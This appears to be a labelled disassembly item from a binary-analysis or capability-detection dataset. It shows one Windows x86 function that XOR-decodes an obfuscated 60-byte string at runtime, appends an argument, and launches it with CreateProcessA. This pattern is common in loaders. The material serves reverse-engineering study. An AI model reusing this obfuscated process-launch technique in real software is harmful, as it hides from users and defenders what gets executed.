Function at 0x401e80
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412c31
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1b8
mov eax, dword [0x41a00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1c0], ecx
xorps xmm0, xmm0
mov dword [ebp - 0x1a0], 0x44
xor eax, eax
movlpd qword [ebp - 0x19c], xmm0
mov word [ebp - 0x15e], ax
mov word [ebp - 0x170], ax
mov eax, dword fs:[0x2c]
movlpd qword [ebp - 0x194], xmm0
movlpd qword [ebp - 0x18c], xmm0
movlpd qword [ebp - 0x184], xmm0
mov edi, dword [eax]
movlpd qword [ebp - 0x17c], xmm0
movlpd qword [ebp - 0x16e], xmm0
movlpd qword [ebp - 0x166], xmm0
mov eax, dword [edi + 0x124]
mov dword [ebp - 0x174], 1
mov dword [ebp - 0x124], 0xc8bc39c2
mov dword [ebp - 0x120], 0xaea21668
mov dword [ebp - 0x11c], 0x8bb17ddf
mov dword [ebp - 0x1bc], edi
movups xmmword [ebp - 0x1b0], xmm0
movaps xmm0, xmmword [0x417f40]
movups xmmword [ebp - 0x154], xmm0
movaps xmm0, xmmword [0x417f10]
movups xmmword [ebp - 0x144], xmm0
movaps xmm0, xmmword [0x417f20]
movups xmmword [ebp - 0x134], xmm0
test al, 1
jne 0x401fe8
or eax, 1
mov dword [edi + 0x124], eax
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movlpd qword [ebp - 0x1b8], xmm0
mov edx, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x1b8]
mov byte [edi + 0xcc], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x154]
mov byte [ecx + edi + 0x90], al
add ecx, 1
adc edx, 0
jne 0x401fdb
cmp ecx, 0x3c
jb 0x401fc0
push 0x412d50
call fcn.004064fb
add esp, 4
cmp byte [edi + 0xcc], 0
lea esi, [edi + 0x90]
je 0x40204c
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c8], xmm0
mov eax, dword [ebp - 0x1c4]
mov edi, dword [ebp - 0x1c8]
mov dword [ebp - 0x1b4], eax
mov ecx, edi
mov eax, 0x8b9119b1
and ecx, 7
mov edx, 0xcfcf7b07
shl ecx, 3
call fcn.00412640
xor byte [edi + esi], al
add edi, 1
adc dword [ebp - 0x1b4], 0
jne 0x40203f
cmp edi, 0x3c
jb 0x402014
mov eax, dword [ebp - 0x1bc]
mov byte [eax + 0xcc], 0
lea ecx, [ebp - 0x118]
sub ecx, esi
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x402054
mov edx, dword [ebp - 0x1c0]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x402070
lea edi, [ebp - 0x118]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402080
mov ecx, edx
lea eax, [ebp - 0x1b0]
shr ecx, 2
push eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1a0]
mov ecx, edx
push eax
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x118]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4020e7
push 0xffffffffffffffff
push dword [ebp - 0x1b0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1b0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1ac]
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004063ac
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret